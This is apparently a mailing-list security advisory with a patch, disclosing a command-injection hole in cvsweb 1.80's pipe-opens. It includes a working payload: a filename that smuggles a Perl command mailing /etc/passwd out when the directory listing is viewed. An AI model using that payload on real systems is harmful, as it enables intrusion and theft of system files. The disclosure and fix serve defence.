cvsweb: remote shell for cvs committers

[joey () KITENET NET (Joey Hess)]

Cvsweb 1.80 contains a hole that provides attackers who have write
access to a cvs repository with shell access. Thus, attackers who have
write access to a cvs repository but not shell access can obtain a shell.
In addition, anyone with write access to a cvs repository that is viewable
with cvsweb can get access to whatever user the cvsweb cgi script runs
as (typically nobody or www-data, etc).

An attack looks something like this:

SHELLCODE="';perl -e '\$_=q{mail foo#bar.baz < !etc!passwd}; y:!#:\x2F\x40:; system \$_';'"
touch $SHELLCODE
cvs add $SHELLCODE
cvs commit -m '' $SHELLCODE

Then the attacker either visits the cvsweb page that is a directory listing
for the directory they put the trojan file in, or they wait for someone
else to do the same. Views of this page cause the command to be executed,
mailing /etc/passwd to the attacker or [insert something more nasty here].

Of course, the attacker has left quite a trail: web server log entries and
odd looking files in the cvs repository with the attacker's name on them.

The code that is being exploited here is the following:

       open($fh, "rlog '$filenames' 2>/dev/null |")

Cvsweb is littered with possibly exploitable pipe-opens like this one.
A patch for all of them follows. This is against cvsweb 1.80 from
<http://stud.fh-heilbronn.de/~zeller/cgi/cvsweb.cgi/> (version 1.86 has
now been released, closing the hole).

--- cvsweb.cgi  2000/05/24 07:10:31     1.10
+++ cvsweb.cgi  2000/07/07 03:32:21
@@ -1185,23 +1185,22 @@
     }

     if (defined($rev)) {
-       $revopt = "-r'$rev'";
+       $revopt = "-r$rev";
     }
     else {
         $revopt = "";
     }

-    # this may not be quoted with single quotes
-    # in windows .. but should in U*nx. there
-    # is a function which allows for quoting `evil`
-    # characters somewhere, I know (buried in the Perl-manpage)
-    ##
     ### just for the record:
     ### 'cvs co' seems to have a bug regarding single checkout of
     ### directories/files having spaces in it;
     ### this is an issue that should be resolved on cvs's side
-    open($fh, "cvs -d'$cvsroot' co -p $revopt '$where' 2>&1 |") ||
-       &fatal("500 Internal Error", "Couldn't co: $!");
+    #
+    # Safely fork a child process to read from.
+    if (! open($fh, "-|")) { # child
+       open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
+       exec("cvs", "-d$cvsroot", "co", "-p", $revopt, $where);
+    }
 #===================================================================
 #Checking out squid/src/ftp.c
 #RCS:  /usr/src/CVS/squid/src/ftp.c,v
@@ -1298,7 +1297,7 @@
 sub doDiff {
         my($fullname, $r1, $tr1, $r2, $tr2, $f) = @_;
         my $fh = do {local(*FH);};
-       my ($rev1, $rev2, $sym1, $sym2, $difftype, $diffname, $f1, $f2);
+       my ($rev1, $rev2, $sym1, $sym2, @difftype, $diffname, $f1, $f2);

         if ($r1 =~ /([^:]+)(:(.+))?/) {
             $rev1 = $1;
@@ -1333,25 +1332,25 @@
         }
         my $human_readable = 0;
         if ($f eq 'c') {
-           $difftype = '-c';
+           @difftype = qw{-c};
             $diffname = "Context diff";
         }
         elsif ($f eq 's') {
-           $difftype = '--side-by-side --width=164';
+           @difftype = qw{--side-by-side --width=164};
             $diffname = "Side by Side";
         }
         elsif ($f eq 'H') {
             $human_readable = 1;
-           $difftype = '--unified=15';
+           @difftype = qw{--unified=15};
             $diffname = "Long Human readable";
         }
         elsif ($f eq 'h') {
-           $difftype = '-u';
+           @difftype =qw{-u};
             $human_readable = 1;
             $diffname = "Human readable";
         }
         elsif ($f eq 'u') {
-           $difftype = '-u';
+           @difftype = qw{-u};
             $diffname = "Unidiff";
         }
         else {
@@ -1361,22 +1360,19 @@
         # apply special options
         if ($human_readable) {
             if ($hr_funout) {
-               $difftype = $difftype . ' -p';
+               push @difftype, '-p';
             }
             if ($hr_ignwhite) {
-               $difftype = $difftype . ' -w';
+               push @difftype, '-w';
             }
             if ($hr_ignkeysubst) {
-               $difftype = $difftype . ' -kk';
+               push @difftype, '-kk';
             }
         }
-## cvs rdiff doesn't support '-p' and '-w' option .. sad
-#      open($fh, "cvs -d $cvsroot rdiff $difftype " .
-#                    "-r$rev1 -r$rev2 '$where' 2>&1 |")
-#          || &fatal("500 Internal Error", "Couldn't cvs rdiff: $!");
-###
-       open($fh, "rcsdiff $difftype -r$rev1 -r$rev2 '$fullname' 2>&1 |")
-           || &fatal("500 Internal Error", "Couldn't GNU rcsdiff: $!");
+       if (! open($fh, "-|")) { # child
+               open(STDERR, ">&STDOUT"); # Redirect stderr to stdout
+               exec("rcsdiff",@difftype,"-r$rev1","-r$rev2",$fullname);
+       }
         if ($human_readable) {
             http_header();
             &human_readable_diff($fh, $rev2);
@@ -1402,7 +1398,7 @@
 #--- src/sys/netinet/tcp_output.c     1995/12/05 17:46:35     1.17 RELENG_2_1_0
 # (bogus example, but...)
 #
-       if ($difftype eq '-u') {
+       if (grep { $_ eq '-u'} @difftype) {
             $f1 = '---';
             $f2 = '\+\+\+';
         }
@@ -1455,15 +1451,19 @@
         return;
     }

-    my ($filenames) = join("' '",@files);
     if ($tag) {
         #can't use -r<tag> as - is allowed in tagnames, but misinterpreated by rlog..
-       open($fh, "rlog '$filenames' 2>/dev/null |")
-           || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
+       if (! open($fh, "-|")) {
+               close(STDERR); # rlog may complain; ignore.
+               exec("rlog",@files);
+       }
     }
     else {
-       open($fh, "rlog -r '$filenames' 2>/dev/null |")
-           || &fatal("500 Internal Error", "Failed to spawn GNU rlog");
+       my $kidpid = open($fh, "-|");
+       if (! $kidpid) {
+               close(STDERR); # rlog may complain; ignore.
+               exec("rlog","-r",@files);
+       }
     }
     $state = "start";
     while (<$fh>) {
@@ -1591,7 +1591,7 @@
     }
     if ($. == 0) {
         fatal("500 Internal Error",
-             "Failed to spawn GNU rlog on <em>'$filenames'</em><p>did you set the <b>\$ENV{PATH}</b> in your 
configuration file correctly ?");
+             "Failed to spawn GNU rlog on <em>'".join(", ", @files)."'</em><p>did you set the <b>\$ENV{PATH}</b> in 
your configuration file correctly ?");
     }
     close($fh);
 }
@@ -1618,9 +1618,14 @@
         undef %log;

         print("Going to rlog '$fullname'\n") if ($verbose);
-       open($fh, "rlog $revision '$fullname'|")
-           || &fatal("500 Internal Error", "Failed to spawn rlog");
-
+       if (! open($fh, "-|")) { # child
+               if ($revision ne '') {
+                       exec("rlog",$revision,$fullname);
+               }
+               else {
+                       exec("rlog",$fullname);
+               }
+       }
         while (<$fh>) {
             print if ($verbose);
             if ($symnames) {

--
see shy jo